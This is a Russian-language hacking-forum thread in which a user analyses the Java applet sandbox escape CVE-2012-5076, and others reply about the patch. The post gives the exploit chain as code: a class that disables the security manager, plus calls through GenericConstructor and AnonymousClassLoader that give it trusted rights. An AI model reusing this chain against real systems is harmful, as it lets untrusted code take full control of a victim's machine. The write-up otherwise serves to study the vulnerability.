• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [Заметка] CVE-2012-5076

neko

RAID-массив
Пользователь
Регистрация
24.10.2012
Сообщения
83
Реакции
4
Надо упомянуть, что это мой первый опыт с Java и в частности с экспами такого типа. Если есть какие неточности или ошибки в описании - пожалуйста указывайте. Я понимаю, что разбор этой уязвимости уже был в англоязычном интернете, но мне захотелось покопать его самостоятельно, тем более это принесло много полезностей мне в плане образования =) Enjoy! Надеюсь кому-нибудь будет полезно.

В Java существует свой механизм защиты, который построен на понятии security/protection domain. Каждый домен включает в себя набор классов, экземплярам которых выданы одинаковые права (permissions). Для целей данной заметки достаточно выделить два домена - trusted и untrusted. К первому относится все системные классы (rt.jar) и подписанные апплеты, им разрешены все действия в системе. Ко второй категории относятся не подписанные апплеты и они сильно ограничены в правах (например им запрещено манипулировать с файлами и т.д.). При обращении к некоторому системному ресурсу происходит запрос к менеджеру безопасности (набор методов java.lang.SecurityManager.checkXXX), который проверяет есть у текущего потока права для доступа к ресурсу. Права определяются совокупностью прав кода, который присутствует в call stack, причем берется наименьший совокупный набор прав. Таким образом, чтобы доступ к ресурсу был выдан, необходимо чтобы весь код в call stack обладал необходимыми правами. Есть одно исключение из этого правила - priveledged блоки. Если некоторый код исполняется в контексте priveledged блока, то его права определяются правами вызвавшего метод doPriveledged кода.

Есть также возможность отключить менеджер безопасности, чтобы любые проверки прав были успешными, но этот код естественно должен исполнятся в контексте trusted домена. Но задача упрощается тем, что его также можно исполнить в контексте привилегированного блока - что сводит задачу к вопросу - как сделать только код вызывающий doPriveledged метод trusted, а не весь call stack.

Код, отключающий менеджер безопасности:

Код:
import java.security.*;

public class SecurityDisabler implements PrivilegedExceptionAction
{
    
    public SecurityDisabler()
    {
        try
        {
            AccessController.doPrivileged(this);
        }
        catch(PrivilegedActionException e)
        {
            e.printStackTrace();
        }
    }
    
    public Object run() throws Exception
    {
        System.setSecurityManager(null);
        return null;
    }
            
}

В силу разных причин (пример - развитие разных динамических языков, основанных на jvm и перенос старых на неё) в 2007-2008 шла разработка функционала для динамического определения call site для вызовов методов (InvokeDynamic), эти разработки вошли в jvm. Частью решения был также класс sun.invoke.anon.AnonymousClassLoader, который позволяет подгружать класс из байтового массива и патчить байткод налету. Он не входит в иеархию классов ClassLoader (которые подгружают классы из .class при первом обащении) и работает по своим уникальным правилам (до java 7 update 7 включительно). В частности, класс загруженный через него, получает security domain объекта, который запросил загрузку (при вызове конструктора по умолчанию):

Код:
public AnonymousClassLoader() 
{
	this.hostClass = checkHostClass(null);
}

private static Class<?> checkHostClass(Class<?> hostClass) 
{
      Class<?> caller = sun.reflect.Reflection.getCallerClass(CHC_CALLERS);
      if (caller == null) 
      {
          // called from the JVM directly
          if (hostClass == null)
              return AnonymousClassLoader.class; // anything central will do
          return hostClass;
      }

      if (hostClass == null)
          hostClass = caller; // default value is caller itself

Таким образом есть две проблемы, решение которых приведет нас к тому, чтобы дать SecurityDisabler права trusted домена:
1. sun.invoke.anon.AnonymousClassLoader запрещен для загрузки для untrasted домена (и как следствие для нашего неподписанного апплета)
2. Необходимо, чтобы загрузку класса инициировал системный trusted код.

Тут надо пару слов сказать про рефлексию. Это что-то типа RTTI в C++, те полная информация о классах и их членах в рантайме. С помощью нее можно получить например класс по имени, инстанциировать его и вызвать метод также по имени. К сожалению это решение неподходит, так как мы не можем загрузить класс в любом случае (см. проблему 1).
Вокруг рефлексии было создано много разных классов для тех или иных задач, один из них - com.sun.org.glassfish.gmbal.util.GenericConstructor. Этот класс позволяет получить любой конструктор по имени и инстанциировать класс, причем первое обращение к классу (в частности получение конструктора) он делает в priveledged блоке и сам является системным кодом (находится в rt.jar), что позволяет обойти обе проблемы. Таким образом следующий код позволит нам получить объект класса AnonymousClassLoader:

Код:
GenericConstructor ctor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
Object loader = ctor.create(new Object[] {});

Но объект типа Object и мы его не можем скастить вниз по иеархии наследования, как и неможем вызвать метод для подгрузки класса или применить рефлексию для получения метода напрямую (нет прав), в силу чего мы должны воспользоваться оберткой, которая юзает рефлексию в priveledged блоке:

Код:
Method loadClass = ManagedObjectManagerFactory.getMethod(loader.getClass(), "loadClass", byte[].class);

Код считывания .class файла в байтовый буфер я приводить не буду, его можно посмотреть в метасплойте. Все что нам осталось - вызвать метод и инстанциировать наш класс:

Код:
Class securityDisabler = (Class) loadClass.invoke(loader, byteCode);
securityDisabler.newInstance();

Последняя строка запустит конструктор по умолчанию класса SecurityDisabler, приведенного выше,
который в priveledged блоке отключит менеджер безопасности, после чего можно юзать любые системные ресурсы.
 
ЗА. Честно не всё понятно, но это скорей от моего собственного непонимания темы.
 
отличная статья, я не сильно разбираюсь в яве так что могу наговорить глупостей, но надо сказать как и в предыдущей cve-2012-4681 ( которые очень похожи ) тут ряд уязвимостей ( который почему то засунули под один CVE ), а именно инициализация класса вроде как sun классы вообще нельзя поднимать в апплетах ( тоже самое было с sun.awt: SunToolkit ) и получение метода класса, а подъем кода через sun.invoke.anon.AnonymousClassLoader по сути фишка, эксплуатация которую на данный момент закрыли. И если в будущем найдутся пути для подобных телодвижений придется еще придумать как их использовать, потому как на данный момент ничего уже нету. закину еще пару ссылок на англиские статьи мб кто не читал

http://immunityproducts.blogspot.nl/2012/1...ploitation.html
http://immunityproducts.blogspot.nl/2012/0...1.html?spref=tw
 
el-
Я тоже не сильно, но пара дней изысканий позволило врубится что к чему. =)
Все правильно =) там по сути три баги, две позволяют обойти невозможность работы с sun.* кодом, и непосредственно AnonymousClassLoader. Это собственно и не баги, а оссобенности реализации, но которые дают возможность обойти проверки прав при исполнении кода. Причем исправили все три проблемы в патче, через GenericConstructor теперь нельзя поднять =) надо бы конечно посмотреть, что конкретно изменено (скорее всего добавили проверку секурити менеджера перед priveledged блоком)

>> потому как на данный момент ничего уже нету
да, код подобный поправили даже в классах, которые не юзались ещё, но имели аналогичные проблемы (впрочем на первый взгляд не юзабельно). Впрочем возможно где-то ещё подобное найти можно - рантайм в джаве гигантских размеров надо сказать =).

Ragnar
Спрашивайте, что непонятно, зачастую это помогает утрясти собственное понимание проблемы.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх